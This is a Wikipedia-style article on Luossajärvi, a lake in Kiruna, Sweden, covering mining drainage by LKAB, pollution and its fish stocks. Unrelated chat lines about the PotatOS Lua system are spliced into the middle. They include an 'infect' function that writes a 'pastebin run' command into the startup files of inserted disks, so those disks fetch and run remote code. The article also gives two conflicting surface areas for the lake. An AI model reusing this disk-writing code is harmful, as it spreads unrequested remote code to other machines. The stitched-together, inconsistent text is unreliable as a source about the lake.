Luossajärvi

Luossajärvi is a small 260-acre (1.1 km2) lake in Kiruna in northern Sweden beside Luossavaara. The mining company LKAB has gradually emptied the southern part of the lake in 2007-8 to allow mining of iron ore in the peat bog.[2] These drained areas today consist of mostly marshes.

Luossajärvi
Luossajärvi
LocationKiruna
Coordinates67°52′N 20°11′E
Basin countriesSweden
Surface area2.4262 km2 (0.9368 sq mi)[1]
Surface elevation499.1 m (1,637 ft)[1]

Environmental problems

The remaining portion of the lake has a chemical composition which shows the influence of mining activities. The lake has high concentrations of sulphate and nitrite. The high sulfate concentrations indicate extensive weathering processes of mainly carbonate and sulphurous materials.

Fishing

Fishing is practised on, and every winter ice fishing contests are held out on the ice. The name Luossajärvi derives from the rich number of trout that were in the lake. The original stocks consisted of perch, trout and pike, but these are now depleted to the point that now only perch naturally remain. The spawning ground for the natural brown trout populations has disappeared due to the mining. However, other fish species have now been planted into the lake, including whitefish, grayling, char, rainbow trout and splake.

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.

References
  • Kiruna, 100-årsboken ISBN 91-630-9371-5
  1. "Sjöareal och sjöhöjd" (PDF) (in Swedish). Swedish Meteorological and Hydrological Institute. 25 November 2009. Retrieved 8 October 2010.
  2. Dewatering of the southern part of Lake Luossajärvi, Kiruna, LKAB


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